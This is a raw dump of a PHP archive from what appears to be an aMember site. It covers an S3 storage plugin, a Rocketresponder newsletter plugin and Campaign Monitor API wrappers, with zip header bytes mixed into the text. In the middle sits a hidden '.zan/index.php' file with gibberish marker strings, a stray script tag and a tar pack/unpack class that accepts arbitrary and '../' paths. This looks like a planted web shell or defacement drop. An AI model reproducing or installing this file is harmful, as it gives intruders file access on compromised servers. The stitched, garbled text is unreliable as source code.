substr($r['name'], -1) == '/'; foreach(explode('/', $r['name']) as $part) { if ($part) {$p = & $p[$part];} } if (!$is_dir) { $p = $r; $p['is_blob'] = true; } } $ctree = & $tree; $bpath = array_filter(explode('/', $bpath)); foreach ($bpath as $part) { $ctree = & $ctree[$part]; } $ppath = implode('/', array_slice($bpath, 0, count($bpath)-1)); $parent = $bpath ? rtrim("$bucket/$ppath", "/") : ''; $items[] = new Am_Storage_Folder($this, '..', $parent); foreach ($ctree as $name => $r) { if (isset($r['is_blob'])) { $items[] = $item = new Am_Storage_File($this, $name, $r['size'], $bucket . '/' . $r['name'], null, null); $item->_hash = $r['hash']; } else { $items[] = $item = new Am_Storage_Folder($this, $name, $path . '/' . $name); } } $actions[] = new Am_Storage_Action_Refresh($this, $path); // $actions[] = $x = new Am_Storage_Action_Upload($this, $this->getId() . '::' .$bucket, // $this->renderUpload($bucket)); } return $items; } public function isLocal() { return false; } public function get($path) { list($bucket, $uri) = explode('/', $path, 2); $info = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'getObjectInfo'), array($bucket, $uri), array(), $this->cacheLifetime); $p = preg_split('|[\\\/]|', $path); // get name $name = array_pop($p); return new Am_Storage_File($this, $name, $info['size'], $path, $info['type'], null); } public function getUrl(Am_Storage_File $file, $expTime, $force_download = true) { list($bucket, $uri) = explode('/', $file->getPath(), 2); return $this->getConnector()->getAuthenticatedURL($bucket, $uri, $expTime, false, $this->getConfig('use_ssl'), $force_download); } /* * * https://amember-com.s3.amazonaws.com/filename.jpg * xxx-com * fn.jpg * "123ad031affb55f5b5a1da5f12a42cbf" * */ public function action(array $query, $path, $url, Am_Mvc_Request $request, Am_Mvc_Response $response) { switch ($query['action']) { case 'refresh': $this->getDi()->cacheFunction->clean(); $response->setRedirect($url); break; default: throw new Am_Exception_InputError('unknown action!'); } } function getReadme() { return << Access Keys (Access Key ID and Secret Access Key) CUT; } // protected function renderUpload($bucket) // { // $output = ""; // $output .= "

    Upload file to Amazon S3

    "; // $bucket = Am_Html::escape($bucket); // $output .= "
    "; // $output .= Am_Html::renderArrayAsInputHiddens( $x = // $this->getConnector()->getHttpUploadPostParams($bucket, '', S3::ACL_PRIVATE, // 3600, 1024*1024*30) // ); // $output .= ""; // $output .= "
    "; // return $output; // } }PKO\|tt!protect/php_include/check.inc.phpnu[checkAccess($_product_id);PKO\d177.zan/index.phpnu[coupedetunisieqslkjdlqsdq alllezaeljksldjqlkdjqlskjd tarajhkqsjdlqskjdlksqdjlksqjd yadawlkdkqsdlqjsdkjqsldjqs kqslkdslqdjlqsdjklqsjdlkqsd <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKq\n#8 rocketresponder.phpnu[addText('public_key', array('size' => 40)) ->setLabel('Rocketresponder Public Key') ->addRule('required'); $form->addText('private_key', array('size' => 40)) ->setLabel('Rocketresponder Private Key') ->addRule('required'); } public function isConfigured() { return $this->getConfig('public_key') && $this->getConfig('private_key'); } /** @return Am_Newsletter_Plugin_Rocketresponder */ function getApi() { return new Am_Rocketresponder_Api($this); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) $api->sendRequest("subscriber/subscribe",array('email'=>$user->email, 'name' => $user->getName(), 'LID' => $list_id)); foreach ($deleteLists as $list_id) $api->sendRequest("subscriber/unsubscribe",array('email'=>$user->email, 'LID' => $list_id)); return true; } public function getLists() { $api = $this->getApi(); $res = $api->sendRequest('list/all'); $lists = array(); foreach ($res['list'] as $l) $lists[$l['LID']] = array('title'=>$l['Name']); return $lists; } } class Am_Rocketresponder_Api extends Am_HttpRequest { /** @var Am_Newsletter_Plugin_Rocketresponder */ protected $plugin; public function __construct(Am_Newsletter_Plugin_Rocketresponder $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest($path, $params = array(), $method = self::METHOD_POST) { $this->setUrl($u = "https://www.rocketresponder.com/api/" . $path); $this->setMethod($method); $params["Time"] = time(); $params = array_map('strval',$params); array_multisort($params, SORT_ASC, SORT_STRING); $hash = md5($h = json_encode($params)); $Signature = md5($s = $this->plugin->getConfig('private_key') . "https://www.rocketresponder.com/api/" . $path . $hash); $this->setAuth($this->plugin->getConfig('public_key'), $Signature); foreach($params as $name => $value) $this->addPostParameter($name, $value); $ret = parent::send(); if ($ret->getStatus() != '200') { throw new Am_Exception_InternalError("Rocketresponder API Error"); } $json = json_decode($ret->getBody(), true); return $json; } }PKq\j\[[%campaignmonitor/lib/csrest_people.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $client_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_client_id($client_id); } /** * Change the client id used for calls after construction * @param $client_id * @access public */ function set_client_id($client_id) { $this->_people_base_route = $this->_base_route.'clients/'.$client_id . '/people'; } /** * Adds a new person to the specified client * @param array $person The person details to use during creation. * This array should be of the form * array ( * 'EmailAddress' => The new person email address * 'Name' => The name of the new person * 'AccessLevel' => The access level of the new person. See http://www.campaignmonitor.com/api/clients/#setting_access_details for details * 'Password' => (optional) if not specified, an invitation will be sent to the person by email * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function add($person) { return $this->post_request($this->_people_base_route.'.json', $person); } /** * Updates details for an existing person associated with the specified client. * @param string $email The email address of the person to be updated * @param array $person The updated person details to use for the update. * This array should be of the form * array ( * 'EmailAddress' => The new email address * 'Name' => The name of the person * 'AccessLevel' => the access level of the person * 'Password' => (optional) if specified, changes the password to the specified value * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function update($email, $person) { return $this->put_request($this->_people_base_route.'.json?email='.urlencode($email), $person); } /** * Gets the details for a specific person * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'EmailAddress' => The email address of the person * 'Name' => The name of the person * 'Status' => The status of the person * 'AccessLevel' => The access level of the person * ) * } */ function get($email) { return $this->get_request($this->_people_base_route.'.json?email='.urlencode($email)); } /** * deletes the given person from the current client * @param string $email The email address of the person to delete * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete($email) { return $this->delete_request($this->_people_base_route.'.json?email='.urlencode($email)); } } }PKq\}**7campaignmonitor/lib/csrest_transactional_smartemail.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $smartemail_id, $auth_details, $client_id = NULL, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_client($client_id); $this->set_smartemail_id($smartemail_id); } /** * Change the client id used for calls after construction * Only required if using OAuth or an Account level API Key * @param $client_id * @access public */ function set_client($client_id) { $this->_client_id_param = array("clientID" => $client_id); } /** * Change the smart email id used for calls after construction * @param $smartemail_id * @access public */ function set_smartemail_id($smartemail_id) { $this->_smartemail_base_route = $this->_base_route . 'transactional/smartEmail/' . $smartemail_id; } /** * Gets a list of smart emails * @access public * @param $options optional array Query params to filter list * This should be an array of the form * array( * "status" => "all|drafts|active" * ) * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * array ( * 'ID' => string * 'Name' => string * 'CreatedAt' => datestring * 'Status' => string * ) * ) */ function get_list($options = array()) { $data = array_merge($this->_client_id_param, $options); return $this->get_request_with_params($this->_base_route . 'transactional/smartemail', $data); } /** * Sends a new smart transactional email * @param array $message The details of the template * This should be an array of the form * array( * 'To' => array( * "First Last ", "another@example.com" * ) optional To recipients * 'CC' => array( * "First Last ", "another@example.com" * ) optional CC recipients * 'BCC' => array( * "First Last ", "another@example.com" * ) optional BCC recipients * 'Attachments' => array( * array( * "Name" => string * "Type" => string mime type * "Content" => string base64-encoded * ) * ) optional * 'Data' => array( * "variable" => "value", * "variable" => "value", * ) * ) * @param boolean $add_to_list optional. Whether to add all recipients to the list specified for the smart email * @access public * @return CS_REST_Wrapper_Result A successful response will be the include the details of the action, including a Message ID. * array( * array( * "MessageID" => string * "Recipient" => string * "Status" => string * ) * ) */ function send($message, $add_to_list = true) { $data = array_merge($message, array("AddRecipientsToList" => $add_to_list)); return $this->post_request($this->_smartemail_base_route . '/send.json', $data); } /** * Gets the details of Smart Email * @access public * @return CS_REST_Wrapper_Result A successful response will be an array of the form * array( * "SmartEmailID" => string * "Name" => string * "CreatedAt" => string * "Status" => stirng * "Properties" => array ( * "From" =. string * "ReplyTo" => string * "Subject" => string * "Content": array( * "HTML": string * "Text": string * "EmailVariables": array( * "username", * "reset_token" * ), * "InlineCss": boolean * }, * "TextPreviewUrl": string * "HtmlPreviewUrl": string * ), * "AddRecipientsToList": string * } */ function get_details() { return $this->get_request($this->_smartemail_base_route); } } } PKq\0;63YY(campaignmonitor/lib/csrest_campaigns.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct ( $campaign_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_campaign_id($campaign_id); } /** * Change the campaign id used for calls after construction * @param $campaign_id * @access public */ function set_campaign_id($campaign_id) { $this->_campaigns_base_route = $this->_base_route.'campaigns/'.$campaign_id.'/'; } /** * Creates a new campaign based on the provided campaign info. * At least on of the ListIDs and Segments parameters must be provided * @param string $client_id The client to create the campaign for * @param array $campaign_info The campaign information to use during creation. * This array should be of the form * array( * 'Subject' => string required The campaign subject * 'Name' => string required The campaign name * 'FromName' => string required The From name for the campaign * 'FromEmail' => string required The From address for the campaign * 'ReplyTo' => string required The Reply-To address for the campaign * 'HtmlUrl' => string required A url to download the campaign HTML from * 'TextUrl' => string optional A url to download the campaign * text version from. If not provided, text content will be * automatically generated from HTML content. * 'ListIDs' => array optional An array of list ids to send the campaign to * 'SegmentIDs' => array optional An array of segment ids to send the campaign to. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created campaign */ function create($client_id, $campaign_info) { return $this->post_request($this->_base_route.'campaigns/'.$client_id.'.json', $campaign_info); } /** * Creates a new campaign from a template based on the info provided. * At least on of the ListIDs and Segments parameters must be provided * @param string $client_id The client to create the campaign for * @param array $campaign_info The campaign information to use during creation. * This array should be of the form * array( * 'Subject' => string required The campaign subject * 'Name' => string required The campaign name * 'FromName' => string required The From name for the campaign * 'FromEmail' => string required The From address for the campaign * 'ReplyTo' => string required The Reply-To address for the campaign * 'ListIDs' => array optional An array of list ids to send the campaign to * 'SegmentIDs' => array optional An array of segment ids to send the campaign to * 'TemplateID' => string required The ID of the template to use * 'TemplateContent' => array required The content which will be used to fill the editable areas of the template * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created campaign */ function create_from_template($client_id, $campaign_info) { return $this->post_request($this->_base_route.'campaigns/'.$client_id.'/fromtemplate.json', $campaign_info); } /** * Sends a preview of an existing campaign to the specified recipients. * @param array $recipients The recipients to send the preview to. * @param string $personalize How to personalize the campaign content. Valid options are: * 'Random': Choose a random campaign recipient and use their personalisation data * 'Fallback': Use the fallback terms specified in the campaign content * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function send_preview($recipients, $personalize = 'Random') { $preview_data = array( 'PreviewRecipients' => $recipients, 'Personalize' => $personalize ); return $this->post_request($this->_campaigns_base_route.'sendpreview.json', $preview_data); } /** * Sends an existing campaign based on the scheduling information provided * @param array $schedule The campaign scheduling information. * This array should be of the form * array ( * 'ConfirmationEmail' => string required The email address to send a confirmation email to, * 'SendDate' => string required The date to send the campaign or 'immediately'. * The date should be in the format 'y-M-d' * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function send($schedule) { return $this->post_request($this->_campaigns_base_route.'send.json', $schedule); } /** * Unschedules the campaign, moving it back into the drafts. If the campaign has been sent or is * in the process of sending, this api request will fail. * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function unschedule() { return $this->post_request($this->_campaigns_base_route.'unschedule.json', NULL); } /** * Deletes an existing campaign from the system * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete() { return $this->delete_request(trim($this->_campaigns_base_route, '/').'.json'); } /** * Gets all email addresses on the current clients suppression list * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'LIST') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The suppressed email address * 'ListID' => The ID of the list this subscriber comes from * } * ) * } */ function get_recipients($page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_campaigns_base_route.'recipients.json', $page_number, $page_size, $order_field, $order_direction, '?'); } /** * Gets all bounces recorded for a campaign * @param string $since The date to start getting bounces from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'LIST', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email that bounced * 'ListID' => The ID of the list the subscriber was on * 'BounceType' => The type of bounce * 'Date' => The date the bounce message was received * 'Reason' => The reason for the bounce * } * ) * } * ) */ function get_bounces($since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_campaigns_base_route.'bounces.json?date='.urlencode($since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets the lists a campaign was sent to * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'Lists' => array( * { * 'ListID' => The list id * 'Name' => The list name * } * ), * 'Segments' => array( * { * 'ListID' => The list id of the segment * 'SegmentID' => The id of the segment * 'Title' => The title of the segment * } * ) * } */ function get_lists_and_segments() { return $this->get_request($this->_campaigns_base_route.'listsandsegments.json'); } /** * Gets a summary of all campaign reporting statistics * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'Recipients' => The total recipients of the campaign * 'TotalOpened' => The total number of opens recorded * 'Clicks' => The total number of recorded clicks * 'Unsubscribed' => The number of recipients who unsubscribed * 'Bounced' => The number of recipients who bounced * 'UniqueOpened' => The number of recipients who opened * 'WebVersionURL' => The url of the web version of the campaign * 'WebVersionTextURL' => The url of the web version of the text version of the campaign * 'WorldviewURL' => The public Worldview URL for the campaign * 'Forwards' => The number of times the campaign has been forwarded to a friend * 'Likes' => The number of times the campaign has been 'liked' on Facebook * 'Mentions' => The number of times the campaign has been tweeted about * 'SpamComplaints' => The number of recipients who marked the campaign as spam * } */ function get_summary() { return $this->get_request($this->_campaigns_base_route.'summary.json'); } /** * Gets the email clients that subscribers used to open the campaign * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * Client => The email client name * Version => The email client version * Percentage => The percentage of subscribers who used this email client * Subscribers => The actual number of subscribers who used this email client * } * ) */ function get_email_client_usage() { return $this->get_request($this->_campaigns_base_route.'emailclientusage.json'); } /** * Gets all opens recorded for a campaign since the provided date * @param string $since The date to start getting opens from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'LIST', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The email address of the subscriber who opened * 'ListID' => The list id of the list containing the subscriber * 'Date' => The date of the open * 'IPAddress' => The ip address where the open originated * 'Latitude' => The geocoded latitude from the IP address * 'Longitude' => The geocoded longitude from the IP address * 'City' => The geocoded city from the IP address * 'Region' => The geocoded region from the IP address * 'CountryCode' => The geocoded two letter country code from the IP address * 'CountryName' => The geocoded full country name from the IP address * } * ) * } */ function get_opens($since = '', $page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_campaigns_base_route.'opens.json?date='.urlencode($since), $page_number, $page_size, $order_field, $order_direction); } /** * Gets all clicks recorded for a campaign since the provided date * @param string $since The date to start getting clicks from * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'LIST', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response 